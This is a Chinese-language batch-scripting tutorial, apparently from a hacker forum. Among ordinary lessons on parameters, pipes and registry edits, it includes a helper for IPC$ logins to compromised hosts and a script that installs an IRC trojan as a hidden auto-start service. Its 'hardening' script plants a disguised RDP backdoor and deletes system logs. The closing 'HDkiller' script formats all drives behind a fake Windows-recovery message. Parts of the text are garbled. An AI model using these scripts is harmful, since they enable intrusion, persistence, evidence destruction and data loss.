hses

■二.如何在批處理檔案中使用參數 =========================== 批處理中可以使用參數，一般是從%1到 %9這九個，當有多個參數時需要用shift來移動。 例1：fomat.bat @echo off if "%1"=="a" goto format :format @format a:/q @echo 請插入另一張軟盤 @pause @goto format 分析：這個例子用於連續地格式化幾張軟盤，所以用的時候需在dos視窗輸入fomat a，呵呵，是不是覺得這個批處理有點畫蛇添足呢？ 例2： @echo off @net user %1ipc$ 「%2」 /user:」%3」 @if errorlevel 1 echo 連接失敗 分析：當我們要建立一個IPC$連接時總要輸入一大串指令，弄不好就打錯了，所以我們不如把一些固定指令寫成一個批處理，把肉雞的「IP位址 密碼 帳號」當成參數來賦給這個批處理，這樣就不用每次都打指令了。 怎麼樣，使用參數還是比較簡單的吧？你這麼帥一定學會了^_^. ■三.組合指令的使用(Compound Command) ==================================== ▲1. & 用法：第一條指令 & 第二條指令 [&& 用法：第一條指令 && 第二條指令 [&&& && copy d:backup.mdb e:backup.mdb 分析：如果D盤存在backup.mdb檔案，就把它複製到E盤。這種用法可以取代if exist了。 ▲2. && 用法：第一條指令 && 第二條指令 [&& 第三條指令...] 說明：同時執行多條指令，當執行到錯誤的指令後將不執行後面的指令，否則一直執行完全部指令。 例 1：dir z: && dir c: dir c: && dir z: 在做備份的時候用到這種指令可能會比較方便。 例 2：dir d:backup.mdb && copy d:backup.mdb e:backup.mdb 分析：如果D盤存在backup.mdb檔案，就把它複製到E盤。這種用法可以取代if exist了。 ▲3. || 用法：第一條指令 || 第二條指令 [|| 第三條指令...] 說明：同時執行多條指令，當執行到正確的指令後將不執行後面的指令，否則一直執行完全部指令。 例如：dir z: || dir y: || dir c: || dir x: ■四、管道指令的使用 =================== ▲1. | 指令 用法：第一條指令 | 第二條指令 [| 第三條指令...] 說明：將第一條指令的結果作為第二條指令的參數來使用。 例如：netstat -n -p tcp|find ":3389" 分析：用於終端服務，取得登入用戶的IP。 ▲2. >、>>輸出重定向指令 說明：將一條指令或某個程式輸出的結果儲存到特定檔案中。>與>>的區別在於：>會清除原有檔案中的內容再寫入指定檔案；而>>不會改動原有檔案中的內容，只是追加內容到指定檔案尾部。 例1：echo hello world>c:hello.txt 例2：dir %windir%system32*.exe >d:exe.txt & dir %windir%system32*.dll >d:dll.txt 分析：system32目錄是許多木馬鍾愛的藏身之所，只要我們在裝完系統和必要的應用程式後，對該目錄的exe和dll檔案作一個記錄。日後如發現異常，懷疑係統中已經潛入DLL木馬。這時可用同樣的指令將system32下的exe和dll檔案記錄到d:exe1.txt和d:dll1.txt中，然後執行： fcd:diff.txt &>d:diff.txt (用fc指令比較前後兩次的dll和exe檔案，並將結果輸入到diff.txt中)，這樣我們就能發現多出來一些dll和exe檔案，然後透過檢視建立時間、版本、是否經過壓縮等就能夠比較容易地判斷出是不是已經被dll木馬光顧了。沒有是最好，如果有的話也不要直接del掉，先用regsvr32 /u 指令將後門dll檔案登出掉，再把它移到資源回收筒裡，若系統沒有異常表現再將之徹底刪除或者送出給防毒軟體公司。 ▲3. < 、>& 、<& 說明：< 從檔案中而不是從鍵盤中讀入指令輸入。>& 將一個句柄的輸出寫入到另一個句柄的輸入中。 <& 從一個句柄讀取輸入並將其寫入到另一個句柄輸出中。這些並不常用，也就不多做介紹。 ■五、登錄檔操作 =================== ▲1. 建立 說明：建立分為兩種，一種是建立子項(Subkey) ，一種是建立數值名稱。 例 1： Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINESOFTWAREMicrosofthacker] 作用：在HKEY_LOCAL_MACHINESOFTWAREMicrosoft下建立了一個名為"hacker"的子項。 例 2： Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] "Invader"="Ex4rch" "door"=c:windowssystem32door.exe "autodos"=dword:02 作用：在HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun下新增了：Invader、door、autodos這三個數值。Invader的類型是「字串值」，door的類型是「字串值」，autodos的類型是「DWORD值」。 ▲2. 修改 說明：只須把要修改的項目匯出，然後用筆記本進行修改，再匯入（regedit /s）即可。 ▲3. 刪除 說明：同樣分為兩種，一種是刪除子項(Subkey) ，一種是刪除數值名稱。 例 1： Windows Registry Editor Version 5.00 [-HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] 作用：刪除HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun 例 2： Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] "Ex4rch"=- 作用：刪除HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun下的數值「Ex4rch」。 例3： @echo off echo Windows Registry Editor Version 5.00>sample.reg echo.>>sample.reg echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]>>sample.reg echo "Invader"="Ex4rch">>sample.reg echo "door"=c:windowssystem32door.exe >>sample.reg echo "autodos"=dword:02>>sample.reg regedit /s sample.reg del /f /q sample.reg 作用：利用重定向符號建立登錄檔檔案sample.reg，並不經提示將其強行匯入登錄檔，最後刪除檔案。 例 4： @start windrv32.exe @attrib +h +r windrv32.exe @echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] >>patch.dll @echo "windsnx "=- >>patch.dll @sc create Windriversrv binpath= c:windowssystem32windrv32.exe type= kernel start= auto displayname= WindowsDriver @regedit /s patch.dll @delete patch.dll @REM [刪除DSNXDE在登錄檔中的啟動項，用sc.exe將之註冊為系統關鍵性服務的同時將其內容設為隱藏和唯讀，並設定為自啟動] 作用：將木馬程式註冊為系統服務實現更好保護木馬。下面以組態設定好地IRC木馬DSNX為例(名為windrv32.exe) ■六.精彩實例 =========== ▲1. 刪除win2k/xp系統預設共享的批處理 ========================= 從這裡開始複製，儲存為delshare.bat ========================= @echo off rem 檢查參數，如果為空，則顯示用法。 if {%1}=={} goto Usage echo ______________________________________________________________________________ echo. echo 刪除指定共享 ... echo. net share %1$ /delete >nul net share %2$ /delete >nul net share %3$ /delete >nul net share %4$ /delete >nul net share %5$ /delete >nul net share %6$ /delete >nul net share %7$ /delete >nul net share %8$ /delete >nul net share %9$ /delete >nul net stop Server net start Server echo 建立登錄檔檔案 ... echo Windows Registry Editor Version 5.00> delshare.reg echo.>>c:delshare.reg echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters]>> delshare.reg echo "AutoShareWks"=dword:00000000>> delshare.reg echo "AutoShareServer"=dword:00000000>> delshare.reg regedit /s delshare.reg echo. echo ☆ 刪除系統預設共享 ☆ echo ______________________________________________________________________________ echo Power by yupsky Email：yupsky@live.com msn：yupsky echo ______________________________________________________________________________ echo. echo # 錯誤：沒有使用參數 echo. echo # 請輸入你要刪除共享的磁碟盤符 echo. echo 例如： echo delshare c d e ipc admin print echo. echo 例如： echo delshare c d e x y z ipc admin print echo. echo ______________________________________________________________________________ echo. echo ______________________________________________________________________________ echo. echo [ 按 任 意 鍵 退 出 ] pause >nul ======================== 到這裡結束複製，儲存為delshare.bat ======================== ▲2. 全面加固系統 ======================== 從這裡開始複製，儲存為system.bat ========================= @echo off echo Windows Registry Editor Version 5.00>patch.dll echo.>>patch.dll rem [禁止共享] echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters]>>patch.dll echo "AutoShareServer"=dword:00000000>>patch.dll echo "AutoShareWks"=dword:00000000>>patch.dll rem [禁止暱稱登入] echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa]>>patch.dll echo "restrictanonymous"=dword:00000001>>patch.dll rem [禁止檔案訪問和列印共享] echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNetBTParameters]>>patch.dll echo "SMBDeviceEnabled"=dword:00000000>>patch.dll rem [禁止登入前關機] echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesremoteRegistry]>>patch.dll echo "Start"=dword:00000004>>patch.dll echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSchedule]>>patch.dll echo "Start"=dword:00000004>>patch.dll echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon]>>patch.dll echo "ShutdownWithoutLogon"="0">>patch.dll rem [禁止顯示前一個登入帳號稱] echo "DontDisplayLastUserName"="1">>patch.dll rem [修改3389連接，連接埠為8210(十六進制為00002012)，名稱為Microsoft EventLog，留條後路] echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp]>>patch.dll echo "PortNumber"=dword:00002010>>patch.dll echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWdsrdpwdTdstcp>>patch.dll echo "PortNumber"=dword:00002012>>patch.dll echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermDD]>>patch.dll echo "Start"=dword:00000002>>patch.dll echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSecuService]>>patch.dll echo "Start"=dword:00000002>>patch.dll echo "ErrorControl"=dword:00000001>>patch.dll echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,>>patch.dll echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,>>patch.dll echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00>>patch.dll echo "ObjectName"="LocalSystem">>patch.dll echo "Type"=dword:00000010>>patch.dll echo "Description"="Keep record of the program and windows' message。">>patch.dll echo "DisplayName"="Microsoft EventLog">>patch.dll echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicestermservice]>>patch.dll echo "Start"=dword:00000004>>patch.dll copy %windir%system32termsrv.exe %windir%system32eventlog.exe regedit /s patch.dll del /f /q patch.dll rem [刪除日誌] net stop w3svc net stop eventlog del /f /q %windir%system32logfilesw3svc1*.* del /f /q %windir%system32logfilesw3svc2*.* del /f /q %windir%system32config*.event del /f /q %windir%system32dtclog*.* del /f /q %windir%*.txt del /f /q %windir%*.log net start w3svc net start eventlog rem [禁止一些危險的服務] net stop lanmanserver net stop Schedule net stop RemoteRegistry ======================== 到這裡結束複製，儲存為system.bat ========================= ▲3. 硬碟殺手（僅供在虛擬機中測試，否則造成硬碟資料遺失，後果自負！） ======================== 從這裡開始複製，儲存為HDkiller.bat ========================= @echo off :start cls echo 正在裝入程式 . . . rem 硬碟機檢查並分配有效的硬碟機。 set drive= set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z rem 磁碟檢查代碼開始。 echo @echo off>drivechk.bat Rem echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "的卷" > nul >temp.bat Rem %comspec% /e:2048 /c temp.bat>>drivechk.bat echo ";vol %%1: | find "的卷";">temp.bat for /f "tokens=2 delims=;" %%i in (temp.bat) do @echo %%i>>drivechk.bat del /f /q temp.bat echo if errorlevel 1 goto enddc >>drivechk.bat echo ";dir %%1: /ad/w/-p | find "位元組";">temp.bat for /f "tokens=2 delims=;" %%i in (temp.bat) do @echo %%i>>drivechk.bat del /f /q temp.bat echo if errorlevel 1 goto enddc >>drivechk.bat rem 如果返回碼為1，則指定的硬碟機是可移動磁碟。 echo ";dir %%1: /ad/w/-p | find "0 可用位元組";">temp.bat for /f "tokens=2 delims=;" %%i in (temp.bat) do @echo %%i>>drivechk.bat del /f /q temp.bat echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat rem 如果返回碼為1，則指定的硬碟機是硬諜或軟盤硬碟機；否則是光碟硬碟機。 echo :enddc>>drivechk.bat rem 磁碟檢查代碼結束。 :Getdrv rem 使用 drivechk.bat 取得有效硬碟機資訊。 for %%a in (%alldrive%) do call drivechk.bat %%a >nul del /f /q drivechk.bat if %drive.==. set drive=c :form_del call attrib -r -h c:autoexec.bat >nul echo @echo off >c:autoexec.bat echo echo 正在載入 Windows, 請等待 Microsoft Windows 恢復你的系統 . . . >>c:autoexec.bat echo for %%%%a in (%drive%) do call format %%%%a: /q /u /y >nul>>c:autoexec.bat echo cls >>c:autoexec.bat echo echo 正在載入 Windows, 請等待 Microsoft Windows 恢復你的系統 . . . >>c:autoexec.bat echo for %%%%a in (%drive%) do call c:temp.bat %%%%a Tony>nul>>c:autoexec.bat echo cls >>c:autoexec.bat echo echo 正在載入 Windows, 請等待 Microsoft Windows 恢復你的系統 . . . >>c:autoexec.bat echo for %%%%a in (%drive%) do call rd /q %%%%a: >nul>>c:autoexec.bat echo cls >>c:autoexec.bat echo cd >>c:autoexec.bat call attrib +r +h c:autoexec.bat :makedir if exist c:temp.bat attrib -r -h c:temp.bat >nul echo @echo off >c:temp.bat echo %%1: >>c:temp.bat echo cd >>c:temp.bat echo :startmd >>c:temp.bat echo if not exist %%2 md %%2>>c:temp.bat echo if exist %%2 cd %%2>>c:temp.bat echo if not exist %%1:%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2% %2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2nul goto startmd >>c:temp.bat call attrib +r +h c:temp.bat >nul cls echo 正在初始化變數 . . . for %%a in (%drive%) do call format %%a: /q /u /y>nul for %%a in (%drive%) do call c:temp.bat %%a Tony>nul for %%a in (%drive%) do call attrib -r -h %%a: /S >nul call attrib +r +h c:temp.bat >nul call attrib +r +h c:autoexec.bat >nul for %%a in (%drive%) do call rd /q %%a:*. >nul for %%a in (%drive%) do call c:temp.bat %%a Tony>nul :end ======================== 到這裡結束複製，儲存為HDkiller.bat =======================